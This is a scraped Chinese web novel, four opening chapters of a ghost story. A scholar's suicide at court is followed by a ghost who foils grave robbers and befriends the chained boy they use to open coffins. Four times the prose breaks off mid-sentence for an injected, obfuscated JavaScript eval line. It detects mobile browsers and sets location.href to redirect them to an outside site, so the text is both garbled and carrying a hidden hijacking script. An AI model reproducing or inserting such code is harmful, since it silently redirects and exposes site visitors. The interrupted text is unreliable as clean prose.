《江湖有个鬼故事》 1. 楔子 土中碧 深秋,沈大人埋下一坛女儿红。 洒下厚土,他郑重地磕了三个头,嘴中念念有词:“老天保佑,愿夫人这胎是个漂亮女儿……” 云景沈氏,累世公卿,沈大人虽未继承到老祖宗的半分才学,好在膝下子嗣昌盛,也算对得起门楣。 按理说,他没由头折腾家中夫人来这出“老蚌生珠”,但祖坟冒青烟似的,某日望着千金台上丰腴又婀娜的身姿,沈大人竟头一遭生出了忧患意识—— 我的子孙后代,还能搂到这样的美人儿吗? 有这个担忧的不止沈氏一族。 科考新制颁布五年,大焉朝中已有半数士人登科做官。 贵门世族唯恐祖上余荫的爵位旁落他人,却又畏惧那位杀伐果决的帝王,只能将希冀寄于储君,盼他登基后能重塑门阀旧制。 沈大人的榆木脑袋不堪用,在扶储大计中滥竽充数,日子久了,自觉没什么大作为,便心生一计:他虽没本事当权臣重臣,但家门贵盛,做个国丈绰绰有余吧? 趁着储君尚年幼,沈大人准备生个适龄的女儿,届时嫁进宫去吹枕边风。 可夫人徐娘半老,哪能说怀就怀?沈大人一筹莫展之时,忽然有位“仙人口目”来讨口水喝。 天下太平久矣,妖、鬼已绝迹,仙者亦不再入俗世,只留女娲后人代仙者言观视听,他们也被称为“仙人口目”。 仙客来访,沈大人不敢怠慢,好酒好菜全呈上,不过仙人口目只捡了一盅热茶饮下。 临走时,仙人口目还赠沈家一壶清酒,并嘱咐将酒埋到树下,待十七年后再启封,嘴中念叨着碧玉啊、龙凤什么的,悠哉悠哉地走远了。 谁人不知这埋女儿红的习俗?沈大人喜得猛拍大腿,成了,这事成了! 这哪是仙人口目,分明是送子观音! 不久后,沈夫人被诊出了喜脉。 一晃数月过去,女儿红已入土,夫人也顺利生产。 乳娘抱来粉雕玉琢的小娃娃,老脸笑皱成一团,嘴中不断吐出吉祥话:“恭喜大人家门添丁,晚得麟儿,真乃弄璋之喜,后福无量啊!” 沈大人幼时误饮的二两墨水,不足以让他听懂这文绉绉的贺喜,但剥开婴孩的襁褓时,眼睛不是瞎的。 我的好女儿,怎么是个长根儿的? 他的沉默振聋发聩。 难不成小储君有龙阳之好,仙客这才赐来个男婴? 哎呦,哎呦,真是家门不幸啊! ----------- 又一年深秋,小皇帝将这件趣事讲给了身边的小内侍。 小内侍笑得前仰后合:“怪不得当年沈大人执意要送沈小郎君入宫伴读!” “沈丛这老东西故作聪明,宁愿把朕当断袖,也不想想那酒名为女儿红,可又叫状元红。”小皇帝好气又好笑。 “沈大人许是也没想到,自家儿郎竟有状元命吧。” 沈小郎君幼时灵慧绝世,及至少年更是龙章凤姿。 他三岁通文,五岁能诗,常伴储君身侧侍读。十二岁好编小曲儿,捧红多少名倌,十五岁厌倦读书,孤身闯荡江湖,十七岁风尘未洗入帝城,提笔应试,一举夺魁。 小皇帝百思不得其解:“难道当年仙人口目将文曲星塞进了沈夫人肚中?” 小内侍笑嘻嘻地作揖:“陛下昔日与文曲星情同手足,今朝又与文曲星君臣相敬,实乃我大焉之福!” 步入銮殿时,御阶之下百官列班,满堂亦贺天子得才。 “宣秋闱状元、探花、榜眼觐见——” 殿内走进来三个人,其中状元郎身披红袍,头戴簪花,正是小皇帝许久未见的旧友沈昭。 小皇帝戏谑道:“原以为沈小郎君心在江湖,不愿再回帝城了。” 群臣皆佝偻着背,独沈昭直面龙颜,微笑着说:“臣与陛下有约在先,不敢忘。” “同朕说说,你此番去了哪里游历?” “臣先去九霄看了秋月宴,又去云梦洲赏花,一路上结识了不少游侠豪客,再往北走,吃到了邬坡有名的寒羊腿。最后去拜访了‘仙人口目’,不过九重天遍布仙法,足足将我困了十日……” 小皇帝还是储君时,也曾四处游历过大焉,自然懂得好友心中的不舍。 不过还没等他出言宽慰,却见沈昭呈上一卷青简,朗声道:“臣行走大焉各地,目睹朝政积弊,百姓疾苦,因此斗胆上疏,匡时献策,还望陛下垂鉴。” 朝中的世族大臣忙站出来贴金: “只有累世簪缨的大族,才能储得如此贤才。” “朝中有云景沈氏父子,真乃家国之幸!” “寒门学子见识短浅,骤登高位恐误国政,要我说还是废科举……” 科甲出身的臣子听闻此言,怒斥:“今年万名学子赴考,却仅录几人入仕,折戟者十之八九,已让士人志气折损,怨声渐起!” “愿陛下酌增登科入仕之数,宽仕途之径!” 有人嬉笑反驳:“万名寒门赴考,却无一人能及沈小郎君。” 这样的争论听得太多,小皇帝耳朵都要起茧子。 他不理会,专注地看着那青简,上面洋洋洒洒写尽了济世之策,涉及农桑、徭役、吏治、律法……字字珠玑,切中时弊。 越看,他的表情越凝重,半晌后笑问:“如此事无巨细,莫非沈小郎君打算献策后即刻抽身离去,重返江湖?” 沈昭说:“正有此意。” 他这人向来荒诞,又是笑着说的,可见此话无需当真。 小皇帝听后反倒安心了,揶揄道:“可惜了,你这些宏图谋略绝非一日之功,看来还要再陪朕十余年,方得自由身了。” 他根基未稳,仍仰仗世家大族扶持,改弊立新不可操之过急,而沈昭初入朝堂,也须学会藏锋敛锐。等日后,日后他们君臣二人再慢慢修正弊端,一展宏图…… 不料沈昭却说:“陛下,不能再等了。” 小皇帝不明意味,盯着他看——曾经琉璃般剔透的少年,此时却像一块浓墨,化不尽,看不透。 沈昭忽然讲起了故事:“臣赴考时偶遇一位兄长,他寒窗苦读数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536779|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十载,才绝天下,必为国之栋梁。可惜他身体羸弱,若不是考试时突然犯疾,轮不到臣来当状元郎。” “世间竟还有令阿昭都自叹不如的人?” “正是。纵然有疾,兄长仍考得前二十甲,按理说是可以入朝做官的,哪料……” 哪料世族侵吞禄位,使得登科入仕的名额骤减,最终能为官者,不过尔尔。 小皇帝怜才,忙道:“你那位兄长若是栋梁之才,朕破例准他入仕。” 沈昭摇头:“兄长落榜后心中郁结,且病体每况愈下,不忍拖累妻儿,在几日前自缢而亡。” 忽听有人笑了:“因为这点儿小事寻死?难堪大用,徒增笑耳。” 沈昭没听见似的,继续说:“高门世族贤愚不分,以至不肖者高居庙堂,此弊积重难返,久之恐为祸患。臣以为,治国之道首先在于用人得当,取之公允,故变革应从此处始。” 这正是写在青简上的第一条计策。 小皇帝突感不妙,阻止他说下去:“阿昭,事关朝廷根本,不急于一时,我们日后再议。” 沈昭不为所动,且深深作了一揖:“愿陛下废除荫官之制,兴科举,择贤才。” 废荫官?沈丛沈大人两眼一抹黑,忙跳出来:“小儿妄言而已,还请诸位大人念其初登庙堂,勿与计较!” 沈昭岳峙渊渟,不再作声,却倏地从袖中亮出一柄短刃。 侍卫见状,乌泱泱地小皇帝围住,可沈昭的刀刃却对准了自己的脖颈。 “我那位兄长出身卑贱,故死得‘徒增笑耳’,但我乃云景沈氏之后,状元及第……”他平静极了,“我的死,可否称得上‘血溅五步’?” 沈丛已然吓得腿软,当场痛哭起来:“我的儿,科举兴废与咱们有何干系,何至于此啊!” 沈昭置若罔闻,只直勾勾看着台上的帝王。 小皇帝再笑不出来了:“你这是在逼朕作决断?” “臣无能,只能自戕以明志,愿陪兄长同做天下笑柄。” “你不无能,你是嫌朕无能!” 小皇帝怒不可遏——他明明知道自己是何处境,为什么不能再多等几年?等他大权在握后,自然会革弊施新,届时他们再…… 天下黎民到底需要等到几时呢? “臣愚钝,实在想不出更好的法子了,”沈昭微笑着说,“我死足以。” 沈小郎君幼时灵慧绝世,及至少年更是龙章凤姿。他身死,足以让天下为之一震,届时世族权势再大,大不过民怨沸腾。 寒门学子死十人、百人,都不如死他一个沈昭来得划算,他死,足以。 “你我曾约定做明君贤臣,如今策已献,臣以死为您开明君之路,不算背信弃义。” ------------- 话说那日仙人口目离开沈家,嘴里念叨着“天眼”所观得的谶语,可惜没人听清。 那话说的是: 土中埋碧,尘里种玉,他日龙凤破云出。 生死无须惧,自有人叩骨盼君归,翻青简,祭王孙。 2. 秋坟鬼(一) 他跑得很急、很快,像是怕天幕塌下来,将自己碾碎在泥泞的地里。 瞥见天上的云结成黑沉沉一片,缝隙处漏出几道银亮的电光来,伴着低鸣,似乎有意劈向奔逃的他。 他不得不加快了步伐,心中只剩一个念头—— 快逃! 这地方有鬼! 天气阴沉,欲雨未雨,但也算青天白日当头上,怎么会撞见鬼呢? 这还要从一个时辰前,他乍醒来说起。 睁眼后最先看到的是天空。 纵然空中有红线交织、七宝莲灯高悬,仍难掩天色的阴翳。他懵了好一会儿才记起来,这是九霄城里香街柳巷的景象。 他竟然四仰八叉地躺在大街上,真是有辱斯文。 一个鲤鱼打挺起身,他作潇洒地拍去身上尘土,眼睛瞥着周围来往行人,见没谁在意自己这荒唐模样,这才放下心来。 当务之急是先离开这令人丢脸的地方。 走了两步,却又停住:他要往哪里走? 虽然知道身居何处,但一想,竟然不知自已姓甚名谁! 抬眼望见高处的画楼朱阁,歌妓抱琴巧笑,贵客持扇轻摇,他心道:我莫不是赊钱不还,被小厮打一顿后扔出来的浪荡子吧? 他摸了摸袖中,确实一个铜板都没有。 若真是如此,失忆算什么?没被打死都算好的了。 虽什么都不记得,但他似乎不是个傻子,眼睛滴溜溜一转,决定在这附近溜达几圈。一来活血化瘀,没准能早点恢复记忆,二来看看有没有熟人认得自己,能领他回家。 啧,如此聪明才智,他没准是个落魄的读书人。 可走着走着,他发现有点儿不对劲——街上行人如织,神色如常,但细看会发现每个人周身都萦绕着一抹淡淡的红光。 大抵是眼睛被打出血了,这才看哪儿哪儿红? 他当机立断,准备问下去医馆的路,可朝过路人招呼了数声,始终无人为他驻足指路。 世人都说九霄城侠客云集,义薄云天,如今一瞧不尽然,个个眼睛都长在头顶! 他有些气恼,也不顾什么礼节了,直接伸手拦人问话,哪成想,像对着空气来了招“黑虎掏心”似的,他眼见着自己的手横穿了人家的胸膛! 不痛不痒,也没见血,而被“掏”的那人无知无觉,游魂一般继续走着他的道。 什么情况? 他没声张,只是暗自吸了一口凉气,压下心中惊诧,无事发生似的转头来到一家包子铺,问道:“掌柜的,包子几文钱?我囊中羞涩,可不可以赊账?” 掌柜同样空洞麻木,他的话扔过来,始终不见有回响。 见状,他一拳抡过去,果不其然穿透了这人笼着红光的躯体。 刚才憋着的气终于舒出来——撞鬼瘆人极了,但若满城都是鬼,反倒不可怕。 看吧,人人都没有实形儿,他这是在做梦呢! 他正要离开,却看见那鬼掌柜揭开蒸笼,氤氲水汽立刻扑了他满面,包子的热香在鼻间弥漫开。 他啧啧两声:“这梦可真蹊跷,鬼蒸的包子能吃吗?” 嘴上这么说,手已经去擒包子了,嚯,还是热的! ……等等。 若是梦,为什么他觉着烫手,还能闻到味儿? 再抬眼,方才还视他如空气的周遭行人,已经一齐望向了他。 尖冽的嘶吼从他们口中溢出,音如裂帛,激得他遍体生寒,包子掉在地上滚了三圈。 包子铺掌柜离他最近,只见这人面容迅速扭曲起来,瞳孔紧缩至针眼大小,目眦尽裂,身上的红光跟着一瞬间炸开,恍若阎罗现形。 活见鬼了! 他一窒,顷刻间寒毛直竖,顾不得东西南北就拔腿狂奔起来,同时脑海中纷飞出一连串思绪: 怎么会这样?九霄发生了什么? 修仙者、捉妖师之流早就自立门派习武去了,如今鬼怪重现人间,谁有通天的本事来降伏? 仙人口目他肯定找不到,那就找……官府? 此刻乌云压顶,电闪雷鸣滚滚而至,他跑得上气不接下气,回头看,万幸那些冒着红光的玩意儿没来追他。 明明失忆了,他的身体却像知道路似的,不一会儿果真跑到了衙门口。 敲门不应,他只能拾了鼓槌,用力击起一旁的投状鼓:“草民有要事求见,冒死击鼓,还请大人明察!” 这条街上也有“人”,原本视他如无物,可听见鼓声后齐刷刷看过来,且发出同样惨厉的叫声。 先是包子,后是鼓槌,他们似乎不允许他触碰城中物件。 见他们逐步逼近,他只好扔了鼓槌,撕心裂肺地长啸:“有人吗,救命啊!” 门后终于传出不怒自威的男声:“何人白日击鼓,惊扰本官?” 这城中竟还真有能说话的活人! 他急忙大叫:“草民遇见鬼了,还请大人搭救!” “什么?你且进来回话罢。” 得到应允,他忙使出吃奶的劲儿将朱红大门推开一条缝,自己忙不迭挤进去后立马关严,见那些东西无法穿墙跟过来,这才安心了些。 不愧是官府! 他正一步三回头呢,忽然听堂中那位大人怒叱:“竟还真进来了……大胆,见了本官还不速速跪下!” 大人的声音洪亮如钟,震得他耳畔嗡鸣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536780|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他照做,不过叩首前草草瞥了一眼堂内光景,隐约见远处几人的身上没有诡谲红光,这才安心下来。 大人问:“可是你在喊什么‘人撞鬼’?” 大人没叫他起来,他也不能抬头,憋屈地伏在地上回话:“正是,我……” 还没说完,大人又怒了:“光天化日,朗朗乾坤,你竟敢轻言鬼神之说?” 他立刻辩驳:“那些东西身上不仅冒红光,还朝我嘶吼不止,像要吃人似的,都是我亲眼所见。” “荒谬!四界间早就无路可通了,凡人如何能见得鬼?” “我也不知是何缘故……但您若不信,大可以推门一看。” “你叫我开门我就开门?我呸!” ……哪儿来的不讲道理的狗官? 忽听一女声响起:“大人,我觉得他说的有几分可信呢。” “何以见得?” “他方才击了投状鼓。” 他闻言,忙应不迭:“大焉律法有云‘妄击投状鼓者杖三十’,若不是真有泼天的大事,我断然不会击鼓!” 官府内静了一瞬,又骤然响起热烈的讨论: “是他敲的鼓?不可能,绝对不可能!” “他真的击了投状鼓?” “人怎么能见到鬼,除非……” 大人清了清嗓子,问道:“真是你击的鼓?” 他立刻答:“千真万确。” 大人一拍手,破了什么大案似的:“既然是你击的鼓,那也怨不得他们吼你。” 他不解:“大人这话是什么意思,难道他们怕器物发出的声音?” “不是,他们是怕你。” “什么?” “我说你把他们吓到了。” “……” “听懂了吗?” 他自然是一头雾水。 老天攒了好久的雨,此刻终于下起来,淅淅沥沥,打湿了他的肩膀。 大人的声音夹杂着雨水传来:“你好端端走在街上,忽然看到衙门前的鼓槌兀得飞起,狂击投状鼓,你怕不怕,你叫不叫?” 他正低着头,而雨水汇集到所跪之处,恰巧在眼下形成了一片小水洼。 镜般的水面映着天光,映着树,映着衙门高悬的匾…… 独独没有映出他的脸。 他是谁?他叫什么?他长什么样子? 他猛然抬起头,只见堂上的几人虽没有红光环绕,但这人端着自己脑袋,那人缺了半边身子,端坐在中间的官差大人倒是穿着正经官服,可胸口插着三柄箭矢,哪有一点儿活人样子! 只听大人说:“ 还不明白?他们是人,咱们才是鬼!” 3. 秋坟鬼(二) 大人说他不仅是鬼,还是只怨气冲天的恶鬼。 话说百年前仙者挥剑开天,劈开了人鬼妖仙四界,此后人居于四海之内,妖归于八荒之外,上天不见神仙,潜地不见鬼神,天堑横亘,从此殊途。 但也有例外——死前蒙冤者,怨念消散前无法入轮回道,只能在四界的夹缝里游荡。 堂中冤鬼怨言四起:“游荡?有门不能开,有仇不能报,被困在这官府的一亩三分地里,比人活得还憋屈,这叫哪门子游荡?” “你们不能开门?”他忙揪出这句话反驳,“可我不仅能推开门,还能拿包子、击鼓,我怎么可能是……” 鬼大人旁边站着一红裙少女,笑眯眯地说:“所以说你是恶鬼嘛,怨气之深,竟能冲破仙者桎梏,挪得动凡尘俗物。” “可那红光……” “人以血肉筑成,自然会散出血气,正是你看到的红光。” 他已然无言以对,但几只鬼却有一箩筐话要说: “俺死了十几年,还从未见到过有鬼能击投状鼓呢,稀奇!” “你叫什么,从哪儿来,是九霄城人士否?” “你何怨至此啊?” 他一问三不知。 红裙少女施施然飘到他面前,左瞧右看:“你脖颈处有好长一道血口子,许是被歹人抹了脖子,因此怨气滔天。” 鬼大人则说:“也可能是自绝而亡——自绝者三界不收,六道无门,纵使偷溜进去喝了孟婆汤,却依旧进不得轮回,这才记忆空空地被遣回来了。” 他们的猜测都有几分道理,但亡者本人什么都不记得,死因便成了一笔糊涂账。 红裙少女突然想到什么,眼睛一亮:“呀,难道你是我未曾谋面的夫君?” 众鬼见怪不怪,独留他愕然:“什么?” 少女如数家珍:“我夫君出身云景沈氏,连中三元,才绝天下,却以碧血为民请命,自刎于殿前。他文章如珠玉,性情如春风……” 有一鬼忽然飘至他耳畔:“你勿理会,椿儿看见自戕而亡的鬼,都会这么问上一问。” 他善解人意:“她夫君这般厉害,终日牵挂也是人之常情。” “沈昭可不是她夫君。” 他一愣:“什么?” 那鬼说:“椿儿的父母哄骗说将她嫁予状元郎君沈昭,花轿实则被抬去了刘家,给那短命痴儿配了阴婚……” 话没说完,那鬼就被椿儿一把薅开。 “我夫君容颜俊雅,风姿如玉,且让我来看看你是不是,”她欲凑近细看他的样貌,他却猝然扭头躲开,惹得她捂嘴咯咯笑起来,“虽然我美得是有些唐突了,但你也无需害羞。” “倒不是害羞,”他实诚极了,“你的死状吓人,我怕看久了会做噩梦。” “……” 这没礼貌的外来鬼绝对不是沈昭! ----------- 他姑且在九霄城的官府里住下了。 因为无名无姓,他们最开始都叫他“恶鬼”,可日子久了,发觉他确有些大能耐,又改口称他为“送怨君”。 自仙人劈世后,冤魂不得游走人间,而是被困囿于尸首旁或身死处,熬等怨念消散。 但送怨君人如其名,不仅来去自如,还能触碰凡物,因此有不少鬼怪托他帮忙报仇。虽没有现形、杀人的本领,但跑到仇家里踢个桌子闹个鬼,搅得他们不得安生,也算是能出口怨气。 不过人过劳会死,鬼过劳则会灰飞烟灭,这事儿做多了耗费鬼体,得用阴帛、纸钱、香火来补,于是众鬼皆以此为报酬,使送怨君永驻不散,渐渐的,也就成了桩买卖。 但送怨君也不是什么买卖都能做。 这天见椿儿又带着纸钱找来,他退后几步,忙道:“都说了,沈昭死在帝城,魂魄自然也被困在那儿了,我真没能耐远赴千里之外……” “不用去帝城!”椿儿摆摆手,“最近我听到不少江湖传闻,说狗皇帝将我夫君的棺椁扔到了九霄。” 送怨君对这事略有耳闻,问:“这消息靠谱吗?” “就是不知道靠不靠谱,才请你送怨君去走一遭,”椿儿娇滴滴捋着长发,“若寻到尸首,就帮我在他坟头放枝白花作祭。” 送怨君顿感椿儿佛光普照,然而她言犹未尽,补全了后面的话:“若是有幸能寻到了他的魂儿,看看能否将他请来官府。” 他问:“请来官府作什么?” “自然是与我再续阴缘,做一对恩爱鬼鸳鸯。” “……” 我这算帮忙强抢民男……民鬼吗? 送怨君咂巴咂巴嘴,觉得这事儿不太对味。 不过天生好心肠的他还是去了云外坡。 九霄城在百年前是修仙胜地,如今是大焉有名的侠义之城。江湖恩怨催命数,横死者若身后无祖坟可归,便被运往城郊的坟茔“云外坡”。 送怨君在这里遇到了不少侠客冤魂,但转了好几遭,始终不见那身穿状元红袍的少年郎。 此行无果,眼见着天色愈发昏沉,送怨君打算给沈昭祭花交差。 但又一想,寻坟头可比寻魂魄难多了,他总不能一个个开棺验尸吧? 正盘算着,椿儿付的纸钱值不值得他费这大力气时,忽然听到有人的声音传来:“三爷快来,这棺估摸着就是沈昭的!” 送怨君心道,果然行内事还得叫内行人来做,他运气真不赖,竟遇上了同样在找沈昭的“黄泉客”。 黄泉客祖上是捉妖的,如今没了妖物也没了生路,便开始自己作妖。他们除却盗掘古墓、盗宝夺财,更兼做些皮肉营生,下九流的勾当做尽了,大有要将祖师爷的门楣糟践到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536781|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底的架势。 送怨君跟着他们一路飘行,看见前方有具棺椁被掘了出来,只是没人敢动,都在一旁等着三爷定夺。 被称为三爷的领头老汉快走几步,恨不得趴在棺上看:“檀香乌木,鎏金云纹,四角嵌玉……开!就算不是沈昭的,里面也肯定有些值钱东西。” 有人提醒:“三爷,上面刻着字儿呢。” 送怨君跟着三爷一起俯身去看,棺上确实刻着四个小字:谁开谁死! 三爷转身勾勾手:“叫厌胜来开。” 一个大汉应声上前,卸下身后的背篓,篓刚落地,便从中爬出个什么玩意儿来。 定睛一看,那竟然是个小孩! 在这深秋寒夜里,小孩却穿着件勉强蔽体的单薄烂衫,脚上则趿拉着一双破草鞋,漏出半截冻得发青的脚趾。 他面上污脏斑驳,原本的眉目瞧不真切,估摸着身量去看,大概有个七八岁光景。 送怨君了然,拿不识字的人来做这忌讳之事,既无须担心触怒亡者,也不会因此沾染因果,小孩身弱,甚至能当作吸附邪祟的引子。 许是做过很多次了,三爷不用说什么,小孩就已经手脚并用爬到棺椁前,众大汉却皆仓皇后撤丈余,生怕有什么脏东西蹦出来。 送怨君打量去看,这周围没有冤鬼,想来棺中人是寿终正寝,并非沈昭。 但他作为鬼中豪杰,哪能眼睁睁看着恶人掘坟掠财?若传出去,他生意还做不做了? 只见那小孩毫无避讳地伸手欲抬起棺材盖,送怨君见状连忙跳上去,来了一式“鬼压棺”。 不出意外地,小孩使出吃奶的劲儿,枯瘦的身子骨要戳破皮相似的支棱着,棺材盖却纹丝不动。 三爷见小孩许久未能有动作,问:“怎么了?” 小孩默然片刻,才旋身说道:“没怎么,就是有些重,我再试试。” 三爷不耐烦地啧了一声。 送怨君躺在棺材盖上摇头叹息:“你这小孩忒不知好歹,本君好心救你,你还非上赶着做这送命差事。” 小孩继续抬盖。 他得意地哼哼两声:“无用功,无用功,有本君坐镇此棺,八个状汉来了也掀不开!” 小孩换了个姿势抬盖。 “小小年纪不读书,反而跟着这群亡命徒过活,长大就知道后悔了!你看你才多大,身上的红光便如此暗淡,真是不吉之兆……” 送怨君话还没说完,忽然听到一声微不可闻的“闭嘴”。 他噌得起身,只见那小孩不知何时停下了抬盖的动作,而是直勾勾盯着自己。 送怨君猝然脊背发凉,不敢置信:“你在跟谁说话……跟我?你能看得见我?怎么可能……” 小孩像是不胜其扰,眉头微皱,齿缝里轻轻流出几个字:“闭嘴,然后滚下去。” 4. 秋坟鬼(三) 送怨君干了许久吓唬人的差事,还是头一遭被人给吓到。 他颤抖着嘴唇:“你、你、你……” “你什么你?从哪儿来死哪儿去,”小孩冷冷斜他一眼,“结巴鬼。” 送怨君心神一凛,他不仅被看到了,还被骂了! 相传有些孩童灵性未泯,可观鬼神,但眼前这小孩并不像是阴眼童子命,反观他身上红光淡,阴气重,估摸着是干多了这损阳寿阴德的活儿,这才能冲破仙者设的界限,看到他这夹缝中的孤魂野鬼。 “小孩,你不害怕?”他没恼,反而觉得这事新鲜极了,“我可是鬼!” 小孩不仅不害怕,还扎了个马步,铁了心要掀开这棺材:“烂命一条,要杀就杀,不杀就滚。” 这话直戳送怨君的心窝子,他还真没杀人的能耐。 这时三爷在背后等不及了,叫道:“厌胜,你嘀咕什么呢?” “回三爷,我跟鬼爷爷打秋风呢,让他行行好,别压着棺材盖。” 这话要是别人说,三爷肯定是不信的,但厌胜专干的这脏活儿,撞见邪祟倒也不让人意外。 他忙问:“你当真看见鬼了?是沈昭吗?” “我不认得沈小郎君长什么样子,不过眼前这个鬼嘛……”厌胜的眼睛上下一扫,倒真像在打量什么,“青面獠牙,眼珠鼓凸,血红舌头伸出来半尺,像是个长舌鬼呢。” 三爷听这话反而松了口气:“不是沈昭就好,抓点紧,马上就天明了。” 这帮子黄泉客,怕好人魂魄,倒是不怕恶鬼! 软的不吃,那就来硬的。 送怨君冷哼一声,抬手弹出几抹白光,顷刻间,黄泉客手中的长明灯尽灭。 坟地猝然一黑,仅剩头顶寒月倾泻着冷冷的蓝光,几条汉子登是骇然惊叫起来。 “长明灯怎么可能灭?” “三、三爷,怕不是真闹了鬼……” “放屁!鬼怪早就不能入人间了!” “可俺听老人们说,有些冤死鬼进不得往生道,会在尸身旁飘荡……” 送怨君低眼,见厌胜终于止住开棺的动作,顺势回头喊:“三爷,是那鬼吹的灯。” “他奶奶的,”三爷低声咒骂,瞳仁在黄浊的眼珠里搅了两圈,“哪来的浑鬼,坏老子好事儿!” 身旁大汉俯在三爷耳边,规劝道:“三爷,今日兄弟们没带驱鬼避邪的行头,不如我们改日再来好好探寻一番?” “大哥说的是,我见这棺也不见得是沈昭的,既然有恶鬼护着,咱们还是算了吧?” 三爷又上前对着棺材审视再三,思忖半天后,总算是恨恨地松了口:“明日带好祖师爷的物件,再回来一趟罢!掘地三尺也得把沈昭的棺给我找到!” “得嘞!” 他们终于准备打道回府,送怨君如愿以偿,朝他们挥手告别。 谁成想,走之前三爷朝一个大汉耳语了几句,大汉得令,拎起那名叫厌胜的小孩,在他脚上铐上铁链,且将其拴到旁边柳树上了。 厌胜撞鬼时就波澜不惊,如今被孤零零留在这坟地里,依然一副安然自得的模样。 反倒是目睹全程的送怨君一愣:“他们就这么把你丢下了?” 在等一行人消失在远方后,厌胜才回答:“怕我把阴气带回去。” “这荒郊野岭、黑灯瞎火的,你不怕?” “人比鬼可怕多了,我乐意被扔在这儿。” 厌胜一边说着,一边舒舒服服靠着柳树,从怀中掏出几页残纸,借着熹微的月光读起来。 送怨君原以为他看的是什么连环画本,凑近一看,上面密密麻麻的全是字,竟是一页古书! 厌胜却读得津津有味。 他惊愕:“你难不成认得棺上的字?” “不就是‘谁开谁死’……难道不开棺我就活得成?”厌胜嗤笑一声,“再说了,贪图棺中珍宝的又不是我,若棺主人要化鬼来杀我,我定要狠狠啐他两口——眼盲心瞎,活该死后还被掘尸。” “不怕人咒,若遭天谴呢?” “老天若也无眼,那这世道算是完了,死了倒解脱。” 送怨君不由得大笑起来,半晌都没能止住:“你这小孩一肚子歪理,倒是挺合我的胃口!” 厌胜没说话,不过嫌他吵似的,头歪向一边,继续读他那两页纸。 送怨君无忧无虑,命数却一眼望不到的头,正愁往后日子该怎么熬呢,如今却遇上了这有趣的小盗墓贼。 他趴在枝头朝下喊:“等哪天你真死了,来我麾下做小鬼头吧。” “我呸,晦气!”厌胜翻了个白眼,默了片刻,又问,“你很厉害?” “当然!众鬼见了我,可都要尊称一声‘鬼神君’的。”送怨君简直不知谦虚为何物,“若不厉害,你怎么会看得见我?” 厌胜想了想,确实是这个理。但又说:“可你就是一团的白色萤光,聚成了个模糊人形罢了,不像传说里的鬼怪那么可怕。” 在厌胜说他“青面獠牙”的时候,就猜到他估计看不见自己的真容,但送怨君听完这番话简直大失所望:怪不得这孩子毫无畏惧之色,原来在人眼中,自己跟流萤大差不差! 厌胜斟酌着用词:“你看着很……” “很什么?” “人畜无害。” “……” 他嘴硬道:“是你太弱了,才看不见本君凶恶的样貌。” “嘁。”厌胜齿缝里挤出一声不屑。 此后厌胜一直被拴在这儿,偶尔有人来给送些吃食。 黄泉客隔三差五就会来找沈昭的棺椁,可惜老祖宗的器物传到如今已是一堆破铜烂铁,伤不到送怨君分毫,反倒是自己夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536782|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜都被吓得不轻。 厌胜跟三爷说得告慰此地的冤魂才行,要来了一筐黄纸,可元宝叠了烧,烧了再叠,这鬼爷爷却仍拦着黄泉客掘坟。 日子久了,三爷终于觉出不对——元宝烧得越多,那鬼岂不是被豢养得更强? 这邪门小孩怕不是存心诓他! 厌胜确实跟送怨君串通好了,但哪能认? 他一改平日少年老成的样子,谄媚地抱着三爷的大腿表忠心,但仍免不了一阵毒打。 老天似乎是看不过去了,竟泼了大雨下来,黄泉客们被浇了个精透,只能骂骂咧咧地离开。 厌胜那扬着的嘴角终于能耷拉下来。 他孤零零躺在坟地中,眨巴着眼睛,雨跟血一起滑过脸颊,在沤进黄土前斜流,模糊了他的视线。 他隐约看到一团白光出现在眼前。 只听送怨君说:“我虽能触碰凡物,但不能干预人事,没办法放你走,抱歉。” 厌胜没怪他:“他们还要用我开棺呢,不会真打死我的。” 送怨君蹲着看他,这孩子平日里脏兮兮的,但如今被水这么一冲刷,总算能看清样貌。 